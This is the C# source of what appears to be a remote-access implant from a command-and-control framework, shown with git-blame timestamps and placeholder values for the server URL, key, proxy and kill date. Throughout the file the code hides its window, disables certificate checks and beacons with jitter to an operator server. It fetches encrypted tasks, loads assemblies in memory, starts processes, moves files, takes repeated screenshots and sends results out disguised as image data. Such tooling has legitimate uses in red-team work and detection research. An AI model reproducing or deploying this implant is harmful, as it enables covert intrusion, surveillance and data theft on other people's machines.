2018-12-27 12:10:46 +00:00
|
|
|
using System;
|
|
|
|
using System.Linq;
|
|
|
|
using System.Net;
|
|
|
|
using System.Text;
|
|
|
|
using System.Text.RegularExpressions;
|
|
|
|
using System.Reflection;
|
|
|
|
using System.Threading;
|
|
|
|
using System.Diagnostics;
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
using System.IO;
|
|
|
|
using System.IO.Compression;
|
2018-12-28 18:33:43 +00:00
|
|
|
using System.Collections.Generic;
|
2018-12-27 12:10:46 +00:00
|
|
|
|
|
|
|
public class Program
|
|
|
|
{
|
2019-01-03 18:33:10 +00:00
|
|
|
[DllImport("kernel32.dll")]
|
|
|
|
static extern IntPtr GetConsoleWindow();
|
|
|
|
[DllImport("user32.dll")]
|
|
|
|
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
|
|
|
public const int SW_HIDE = 0;
|
|
|
|
public const int SW_SHOW = 5;
|
2018-12-28 18:33:43 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
public static void Sharp()
|
|
|
|
{
|
|
|
|
var handle = GetConsoleWindow();
|
|
|
|
ShowWindow(handle, SW_HIDE);
|
|
|
|
AllowUntrustedCertificates();
|
2019-01-04 10:09:17 +00:00
|
|
|
try { primer(); } catch {
|
|
|
|
var mre = new System.Threading.ManualResetEvent(false);
|
|
|
|
mre.WaitOne(300000);
|
|
|
|
try { primer(); } catch {
|
|
|
|
mre.WaitOne(600000);
|
|
|
|
try { primer(); } catch { }
|
|
|
|
}
|
|
|
|
}
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
public static void Main()
|
|
|
|
{
|
|
|
|
Sharp();
|
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
static byte[] Combine(byte[] first, byte[] second)
|
|
|
|
{
|
|
|
|
byte[] ret = new byte[first.Length + second.Length];
|
|
|
|
Buffer.BlockCopy(first, 0, ret, 0, first.Length);
|
|
|
|
Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
|
|
|
|
return ret;
|
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
static System.Net.WebClient GetWebRequest(string cookie)
|
|
|
|
{
|
|
|
|
var x = new System.Net.WebClient();
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-08 22:20:41 +00:00
|
|
|
var purl = @"#REPLACEPROXYURL#";
|
|
|
|
var puser = @"#REPLACEPROXYUSER#";
|
|
|
|
var ppass = @"#REPLACEPROXYPASSWORD#";
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
if (!String.IsNullOrEmpty(purl))
|
|
|
|
{
|
|
|
|
WebProxy proxy = new WebProxy();
|
|
|
|
proxy.Address = new Uri(purl);
|
|
|
|
proxy.Credentials = new NetworkCredential(puser, ppass);
|
|
|
|
proxy.UseDefaultCredentials = false;
|
|
|
|
proxy.BypassProxyOnLocal = false;
|
|
|
|
x.Proxy = proxy;
|
2019-01-21 09:49:07 +00:00
|
|
|
} else {
|
2019-03-06 10:31:02 +00:00
|
|
|
if (null != x.Proxy)
|
|
|
|
x.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
var df = "#REPLACEDF#";
|
|
|
|
if (!String.IsNullOrEmpty(df))
|
|
|
|
x.Headers.Add("Host", df);
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
x.Headers.Add("User-Agent", "#REPLACEUSERAGENT#");
|
2019-03-11 19:43:29 +00:00
|
|
|
x.Headers.Add("Referrer", "#REPLACEREFERER#");
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
if (null != cookie)
|
2019-04-24 17:18:30 +00:00
|
|
|
x.Headers.Add(System.Net.HttpRequestHeader.Cookie, String.Format("SessionID={0}", cookie));
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
return x;
|
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
static string Decryption(string key, string enc)
|
|
|
|
{
|
|
|
|
var b = System.Convert.FromBase64String(enc);
|
|
|
|
var IV = new Byte[16];
|
|
|
|
Array.Copy(b, IV, 16);
|
|
|
|
try
|
|
|
|
{
|
|
|
|
var a = CreateCam(key, System.Convert.ToBase64String(IV));
|
|
|
|
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
|
|
|
|
return System.Text.Encoding.UTF8.GetString(u);
|
|
|
|
}
|
|
|
|
catch
|
|
|
|
{
|
|
|
|
var a = CreateCam(key, System.Convert.ToBase64String(IV), false);
|
|
|
|
var u = a.CreateDecryptor().TransformFinalBlock(b, 16, b.Length - 16);
|
|
|
|
return System.Text.Encoding.UTF8.GetString(u);
|
|
|
|
}
|
|
|
|
finally
|
|
|
|
{
|
|
|
|
Array.Clear(b, 0, b.Length);
|
|
|
|
Array.Clear(IV, 0, 16);
|
|
|
|
}
|
|
|
|
}
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-02-20 15:58:24 +00:00
|
|
|
static bool IsHighIntegrity()
|
|
|
|
{
|
|
|
|
System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent();
|
|
|
|
System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity);
|
|
|
|
return principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
|
|
|
|
}
|
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
|
|
|
|
{
|
|
|
|
byte[] byEnc = null;
|
|
|
|
if (unByte != null)
|
|
|
|
byEnc = unByte;
|
|
|
|
else
|
|
|
|
byEnc = System.Text.Encoding.UTF8.GetBytes(un);
|
2019-01-03 09:09:41 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
if (comp)
|
|
|
|
byEnc = Compress(byEnc);
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
try
|
|
|
|
{
|
|
|
|
var a = CreateCam(key, null);
|
|
|
|
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
|
|
|
|
return System.Convert.ToBase64String(Combine(a.IV, f));
|
|
|
|
}
|
|
|
|
catch
|
|
|
|
{
|
|
|
|
var a = CreateCam(key, null, false);
|
|
|
|
var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length);
|
|
|
|
return System.Convert.ToBase64String(Combine(a.IV, f));
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
static System.Security.Cryptography.SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
|
|
|
|
{
|
|
|
|
System.Security.Cryptography.SymmetricAlgorithm a = null;
|
|
|
|
if (rij)
|
|
|
|
a = new System.Security.Cryptography.RijndaelManaged();
|
|
|
|
else
|
|
|
|
a = new System.Security.Cryptography.AesCryptoServiceProvider();
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
a.Mode = System.Security.Cryptography.CipherMode.CBC;
|
|
|
|
a.Padding = System.Security.Cryptography.PaddingMode.Zeros;
|
|
|
|
a.BlockSize = 128;
|
|
|
|
a.KeySize = 256;
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
if (null != IV)
|
|
|
|
a.IV = System.Convert.FromBase64String(IV);
|
|
|
|
else
|
|
|
|
a.GenerateIV();
|
|
|
|
|
|
|
|
if (null != key)
|
|
|
|
a.Key = System.Convert.FromBase64String(key);
|
|
|
|
|
|
|
|
return a;
|
|
|
|
}
|
|
|
|
static void AllowUntrustedCertificates()
|
|
|
|
{
|
|
|
|
try
|
|
|
|
{
|
|
|
|
System.Net.ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; };
|
|
|
|
}
|
|
|
|
catch { }
|
|
|
|
}
|
|
|
|
|
|
|
|
static void primer()
|
|
|
|
{
|
|
|
|
if (Convert.ToDateTime("#REPLACEKILLDATE#") > DateTime.Now)
|
|
|
|
{
|
2019-03-07 09:34:19 +00:00
|
|
|
var u = "";
|
|
|
|
try
|
|
|
|
{
|
|
|
|
u = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
|
|
|
} catch {
|
|
|
|
u = System.Environment.UserName;
|
|
|
|
}
|
2019-02-20 15:58:24 +00:00
|
|
|
if (IsHighIntegrity())
|
|
|
|
u += "*";
|
2019-01-03 18:33:10 +00:00
|
|
|
var dn = System.Environment.UserDomainName;
|
|
|
|
var cn = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
|
|
|
|
var arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
|
|
|
|
int pid = Process.GetCurrentProcess().Id;
|
|
|
|
Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
|
2019-04-24 17:18:30 +00:00
|
|
|
var o = String.Format("{0};{1};{2};{3};{4};#REPLACEBASEURL#", dn, u, cn, arch, pid);
|
2019-01-03 18:33:10 +00:00
|
|
|
String key = "#REPLACEKEY#", baseURL = "#REPLACEBASEURL#", s = "#REPLACESTARTURL#";
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
var primer = GetWebRequest(Encryption(key, o)).DownloadString(s);
|
|
|
|
var x = Decryption(key, primer);
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
var re = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
|
|
|
|
var m = re.Match(x);
|
|
|
|
string RandomURI = m.Groups[1].ToString();
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
re = new Regex("URLS10484390243(.*)34209348401SLRU");
|
|
|
|
m = re.Match(x);
|
|
|
|
string URLS = m.Groups[1].ToString();
|
2018-12-31 17:22:58 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
re = new Regex("KILLDATE1665(.*)5661ETADLLIK");
|
|
|
|
m = re.Match(x);
|
|
|
|
var KillDate = m.Groups[1].ToString();
|
2018-12-31 17:22:58 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
re = new Regex("SLEEP98001(.*)10089PEELS");
|
|
|
|
m = re.Match(x);
|
|
|
|
var Sleep = m.Groups[1].ToString();
|
2018-12-31 17:22:58 +00:00
|
|
|
|
2019-04-02 08:46:14 +00:00
|
|
|
re = new Regex("JITTER2025(.*)5202RETTIJ");
|
|
|
|
m = re.Match(x);
|
|
|
|
var Jitter = m.Groups[1].ToString();
|
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
re = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
|
|
|
|
m = re.Match(x);
|
|
|
|
var NewKey = m.Groups[1].ToString();
|
2018-12-27 12:10:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
re = new Regex("IMGS19459394(.*)49395491SGMI");
|
|
|
|
m = re.Match(x);
|
|
|
|
var IMGs = m.Groups[1].ToString();
|
|
|
|
|
2019-04-02 08:46:14 +00:00
|
|
|
ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs, Jitter);
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
static byte[] Compress(byte[] raw)
|
|
|
|
{
|
2019-01-03 22:08:01 +00:00
|
|
|
using (MemoryStream memory = new MemoryStream())
|
|
|
|
{
|
|
|
|
using (GZipStream gzip = new GZipStream(memory, CompressionMode.Compress, true))
|
|
|
|
{
|
|
|
|
gzip.Write(raw, 0, raw.Length);
|
|
|
|
}
|
|
|
|
return memory.ToArray();
|
|
|
|
}
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
static Type LoadSomething(string assemblyQualifiedName)
|
|
|
|
{
|
|
|
|
return Type.GetType(assemblyQualifiedName, (name) =>
|
|
|
|
{
|
|
|
|
return AppDomain.CurrentDomain.GetAssemblies().Where(z => z.FullName == name.FullName).FirstOrDefault();
|
|
|
|
}, null, true);
|
|
|
|
}
|
|
|
|
|
2019-01-04 10:00:46 +00:00
|
|
|
static string RunAssembly(string c)
|
|
|
|
{
|
|
|
|
var splitargs = c.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
|
|
|
|
int i = 0;
|
|
|
|
string sOut = null;
|
2019-01-10 09:24:16 +00:00
|
|
|
bool runexe = true;
|
2019-01-09 23:38:06 +00:00
|
|
|
string sMethod = "", splittheseargs = "", qualifiedname = "", name = "";
|
2019-01-04 10:00:46 +00:00
|
|
|
foreach (var a in splitargs)
|
|
|
|
{
|
|
|
|
if (i == 1)
|
|
|
|
qualifiedname = a;
|
|
|
|
if (i == 2)
|
|
|
|
name = a;
|
|
|
|
|
2019-01-11 18:01:56 +00:00
|
|
|
if (c.ToLower().StartsWith("run-exe")) {
|
2019-01-04 10:00:46 +00:00
|
|
|
if (i > 2)
|
|
|
|
splittheseargs = splittheseargs + " " + a;
|
2019-01-11 18:01:56 +00:00
|
|
|
} else {
|
2019-01-04 10:00:46 +00:00
|
|
|
if (i == 3)
|
2019-01-09 23:38:06 +00:00
|
|
|
sMethod = a;
|
2019-01-04 10:00:46 +00:00
|
|
|
else if (i > 3)
|
|
|
|
splittheseargs = splittheseargs + " " + a;
|
2019-01-11 18:01:56 +00:00
|
|
|
}
|
2019-01-04 10:00:46 +00:00
|
|
|
i++;
|
|
|
|
}
|
|
|
|
var splitnewargs = splittheseargs.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
|
|
|
|
foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())
|
|
|
|
{
|
|
|
|
if (Ass.FullName.ToString().ToLower().StartsWith(name.ToLower()))
|
|
|
|
{
|
|
|
|
var loadedType = LoadSomething(qualifiedname + ", " + Ass.FullName);
|
|
|
|
try
|
|
|
|
{
|
|
|
|
if (c.ToLower().StartsWith("run-exe"))
|
|
|
|
sOut = loadedType.Assembly.EntryPoint.Invoke(null, new object[] { splitnewargs }).ToString();
|
|
|
|
else
|
|
|
|
{
|
|
|
|
try
|
|
|
|
{
|
2019-01-09 23:38:06 +00:00
|
|
|
sOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { splitnewargs }).ToString();
|
2019-01-04 10:00:46 +00:00
|
|
|
}
|
|
|
|
catch
|
|
|
|
{
|
2019-01-09 23:38:06 +00:00
|
|
|
var asOut = loadedType.Assembly.GetType(qualifiedname).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, null).ToString();
|
2019-01-04 10:00:46 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
catch { }
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return sOut;
|
|
|
|
}
|
2019-02-12 22:02:09 +00:00
|
|
|
|
|
|
|
static int Parse_Beacon_Time(string time, string unit)
|
|
|
|
{
|
|
|
|
int beacontime = Int32.Parse(time);
|
|
|
|
switch (unit)
|
|
|
|
{
|
|
|
|
case "h":
|
|
|
|
beacontime *= 3600;
|
|
|
|
break;
|
|
|
|
case "m":
|
|
|
|
beacontime *= 60;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
return beacontime;
|
|
|
|
}
|
2019-01-04 10:00:46 +00:00
|
|
|
|
2019-01-03 18:33:10 +00:00
|
|
|
internal static class UrlGen
|
|
|
|
{
|
|
|
|
static List<String> _stringnewURLS = new List<String>();
|
|
|
|
static String _randomURI;
|
|
|
|
static String _baseUrl;
|
|
|
|
static Random _rnd = new Random();
|
|
|
|
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
|
|
|
|
internal static void Init(string stringURLS, String RandomURI, String baseUrl)
|
|
|
|
{
|
|
|
|
_stringnewURLS = _re.Matches(stringURLS.Replace(",", "").Replace(" ", "")).Cast<Match>().Select(m => m.Value).Where(m => !string.IsNullOrEmpty(m)).ToList();
|
|
|
|
_randomURI = RandomURI;
|
|
|
|
_baseUrl = baseUrl;
|
|
|
|
}
|
|
|
|
|
|
|
|
internal static String GenerateUrl()
|
|
|
|
{
|
|
|
|
string URL = _stringnewURLS[_rnd.Next(_stringnewURLS.Count)];
|
2019-04-24 17:18:30 +00:00
|
|
|
return String.Format("{0}/{1}{2}/?{3}", _baseUrl, URL, Guid.NewGuid(), _randomURI);
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
internal static class ImgGen
|
|
|
|
{
|
|
|
|
static Random _rnd = new Random();
|
|
|
|
static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled);
|
|
|
|
static List<String> _newImgs = new List<String>();
|
|
|
|
|
|
|
|
internal static void Init(String stringIMGS)
|
|
|
|
{
|
|
|
|
var stringnewIMGS = _re.Matches(stringIMGS.Replace(",", "")).Cast<Match>().Select(m => m.Value);
|
|
|
|
stringnewIMGS = stringnewIMGS.Where(m => !string.IsNullOrEmpty(m));
|
2019-01-03 22:08:01 +00:00
|
|
|
_newImgs = stringnewIMGS.ToList();
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
static string RandomString(int length)
|
|
|
|
{
|
|
|
|
const string chars = "...................@..........................Tyscf";
|
|
|
|
return new string(Enumerable.Repeat(chars, length).Select(s => s[_rnd.Next(s.Length)]).ToArray());
|
|
|
|
}
|
|
|
|
|
|
|
|
internal static byte[] GetImgData(byte[] cmdoutput)
|
|
|
|
{
|
|
|
|
Int32 maxByteslen = 1500, maxDatalen = cmdoutput.Length + maxByteslen;
|
|
|
|
var randimg = _newImgs[(new Random()).Next(0, _newImgs.Count)];
|
|
|
|
var imgBytes = System.Convert.FromBase64String(randimg);
|
|
|
|
var BytePadding = System.Text.Encoding.UTF8.GetBytes((RandomString(maxByteslen - imgBytes.Length)));
|
|
|
|
var ImageBytesFull = new byte[maxDatalen];
|
|
|
|
|
|
|
|
System.Array.Copy(imgBytes, 0, ImageBytesFull, 0, imgBytes.Length);
|
|
|
|
System.Array.Copy(BytePadding, 0, ImageBytesFull, imgBytes.Length, BytePadding.Length);
|
|
|
|
System.Array.Copy(cmdoutput, 0, ImageBytesFull, imgBytes.Length + BytePadding.Length, cmdoutput.Length);
|
|
|
|
return ImageBytesFull;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2019-04-02 08:46:14 +00:00
|
|
|
static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
|
|
|
UrlGen.Init(stringURLS, RandomURI, baseURL);
|
|
|
|
ImgGen.Init(stringIMGS);
|
2019-02-12 22:02:09 +00:00
|
|
|
int beacontime = 5;
|
|
|
|
var ibcnRgx = new Regex(@"(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
|
|
|
|
var imch = ibcnRgx.Match(Sleep);
|
|
|
|
if (imch.Success)
|
|
|
|
{
|
|
|
|
beacontime = Parse_Beacon_Time(imch.Groups["t"].Value, imch.Groups["u"].Value);
|
|
|
|
}
|
2019-01-03 18:33:10 +00:00
|
|
|
|
|
|
|
var strOutput = new StringWriter();
|
|
|
|
Console.SetOut(strOutput);
|
|
|
|
var exitvt = new ManualResetEvent(false);
|
|
|
|
var output = new StringBuilder();
|
2019-04-02 08:46:14 +00:00
|
|
|
while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - Double.Parse(Jitter))), (int)(beacontime * 1000 * (1F + Double.Parse(Jitter)))))))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-01-03 22:08:01 +00:00
|
|
|
if (Convert.ToDateTime(KillDate) < DateTime.Now)
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
|
|
|
exitvt.Set();
|
|
|
|
continue;
|
|
|
|
}
|
|
|
|
output.Length = 0;
|
|
|
|
try
|
|
|
|
{
|
2019-02-12 17:34:37 +00:00
|
|
|
String x = "", cmd = null;
|
2019-01-03 18:33:10 +00:00
|
|
|
try
|
|
|
|
{
|
|
|
|
cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
|
|
|
|
x = Decryption(Key, cmd).Replace("\0", string.Empty);
|
|
|
|
}
|
|
|
|
catch
|
|
|
|
{
|
|
|
|
continue;
|
2019-02-20 16:25:53 +00:00
|
|
|
}
|
2019-01-03 18:33:10 +00:00
|
|
|
|
|
|
|
if (x.ToLower().StartsWith("multicmd"))
|
|
|
|
{
|
|
|
|
var splitcmd = x.Replace("multicmd", "");
|
|
|
|
var split = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
|
|
|
|
foreach (string c in split)
|
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
var taskId = c.Substring(0, 5);
|
|
|
|
cmd = c.Substring(5, c.Length - 5);
|
|
|
|
if (cmd.ToLower().StartsWith("exit"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
|
|
|
exitvt.Set();
|
|
|
|
break;
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("loadmodule"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
var module = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
|
2019-01-03 18:33:10 +00:00
|
|
|
var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("upload-file"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
var path = Regex.Replace(cmd, "upload-file", "", RegexOptions.IgnoreCase);
|
2019-01-03 18:33:10 +00:00
|
|
|
var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
|
|
|
|
Console.WriteLine("Uploaded file to: " + splitargs[1]);
|
|
|
|
var fileBytes = Convert.FromBase64String(splitargs[0]);
|
|
|
|
System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("download-file"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
var path = Regex.Replace(cmd, "download-file ", "", RegexOptions.IgnoreCase);
|
2019-01-03 18:33:10 +00:00
|
|
|
var file = File.ReadAllBytes(path.Replace("\"", ""));
|
|
|
|
var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);
|
|
|
|
|
2019-02-06 16:11:18 +00:00
|
|
|
var eTaskId = Encryption(Key, taskId);
|
2019-01-03 18:33:10 +00:00
|
|
|
var dcoutput = Encryption(Key, "", true, fileChuck);
|
|
|
|
var doutputBytes = System.Convert.FromBase64String(dcoutput);
|
|
|
|
var dsendBytes = ImgGen.GetImgData(doutputBytes);
|
2019-02-06 16:11:18 +00:00
|
|
|
GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
|
|
|
|
continue;
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("get-screenshotmulti"))
|
2019-01-04 10:00:46 +00:00
|
|
|
{
|
|
|
|
bool sShot = true;
|
|
|
|
int sShotCount = 1;
|
|
|
|
while(sShot) {
|
|
|
|
var sHot = RunAssembly("run-exe Core.Program Core get-screenshot");
|
2019-02-06 16:11:18 +00:00
|
|
|
var eTaskId = Encryption(Key, taskId);
|
2019-01-04 10:00:46 +00:00
|
|
|
var dcoutput = Encryption(Key, strOutput.ToString(), true);
|
|
|
|
var doutputBytes = System.Convert.FromBase64String(dcoutput);
|
|
|
|
var dsendBytes = ImgGen.GetImgData(doutputBytes);
|
2019-02-06 16:11:18 +00:00
|
|
|
GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
|
2019-01-04 10:00:46 +00:00
|
|
|
Thread.Sleep(240000);
|
|
|
|
sShotCount++;
|
|
|
|
if (sShotCount > 100) {
|
|
|
|
sShot = false;
|
|
|
|
var sbc = strOutput.GetStringBuilder();
|
|
|
|
sbc.Remove(0, sbc.Length);
|
|
|
|
output.Append("[+] Multi Screenshot Ran Sucessfully");
|
|
|
|
}
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
continue;
|
2019-01-04 10:00:46 +00:00
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("listmodules"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
|
|
|
var appd = AppDomain.CurrentDomain.GetAssemblies();
|
|
|
|
output.AppendLine("[+] Modules loaded:").AppendLine("");
|
|
|
|
foreach (var ass in appd)
|
|
|
|
output.AppendLine(ass.FullName.ToString());
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
output.AppendLine(RunAssembly(cmd));
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("start-process"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
2019-02-06 16:11:18 +00:00
|
|
|
var proc = cmd.Replace("'", "").Replace("\"", "");
|
2019-01-03 18:33:10 +00:00
|
|
|
var pstart = Regex.Replace(proc, "start-process ", "", RegexOptions.IgnoreCase);
|
|
|
|
pstart = Regex.Replace(pstart, "-argumentlist(.*)", "", RegexOptions.IgnoreCase);
|
|
|
|
var args = Regex.Replace(proc, "(.*)argumentlist ", "", RegexOptions.IgnoreCase);
|
|
|
|
var p = new Process();
|
|
|
|
p.StartInfo.UseShellExecute = false;
|
|
|
|
p.StartInfo.RedirectStandardOutput = p.StartInfo.RedirectStandardError = p.StartInfo.CreateNoWindow = true;
|
|
|
|
p.StartInfo.FileName = pstart;
|
|
|
|
p.StartInfo.Arguments = args;
|
|
|
|
p.Start();
|
|
|
|
output.AppendLine(p.StandardOutput.ReadToEnd()).AppendLine(p.StandardError.ReadToEnd());
|
|
|
|
p.WaitForExit();
|
|
|
|
}
|
2019-02-06 16:11:18 +00:00
|
|
|
else if (cmd.ToLower().StartsWith("setbeacon") || cmd.ToLower().StartsWith("beacon"))
|
2019-01-03 18:33:10 +00:00
|
|
|
{
|
|
|
|
var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
|
|
|
|
var mch = bcnRgx.Match(c);
|
|
|
|
if (mch.Success)
|
|
|
|
{
|
2019-02-12 22:02:09 +00:00
|
|
|
beacontime = Parse_Beacon_Time(mch.Groups["t"].Value, mch.Groups["u"].Value);
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
else
|
2019-04-24 17:18:30 +00:00
|
|
|
output.AppendLine(String.Format(@"[X] Invalid time ""{0}""", c));
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
output.AppendLine(strOutput.ToString());
|
|
|
|
var sb = strOutput.GetStringBuilder();
|
|
|
|
sb.Remove(0, sb.Length);
|
2019-02-06 16:11:18 +00:00
|
|
|
var enTaskId = Encryption(Key, taskId);
|
2019-01-03 18:33:10 +00:00
|
|
|
var coutput = Encryption(Key, output.ToString(), true);
|
|
|
|
var outputBytes = System.Convert.FromBase64String(coutput);
|
|
|
|
var sendBytes = ImgGen.GetImgData(outputBytes);
|
2019-02-06 16:11:18 +00:00
|
|
|
GetWebRequest(enTaskId).UploadData(UrlGen.GenerateUrl(), sendBytes);
|
2019-01-03 18:33:10 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
catch (Exception e)
|
|
|
|
{
|
2019-02-20 15:58:24 +00:00
|
|
|
var task = Encryption(Key, "Error");
|
2019-04-24 17:18:30 +00:00
|
|
|
var eroutput = Encryption(Key, String.Format("Error: {0} {1}", output.ToString(), e), true);
|
2019-01-03 18:33:10 +00:00
|
|
|
var outputBytes = System.Convert.FromBase64String(eroutput);
|
|
|
|
var sendBytes = ImgGen.GetImgData(outputBytes);
|
|
|
|
GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
2019-01-03 22:08:01 +00:00
|
|
|
}
|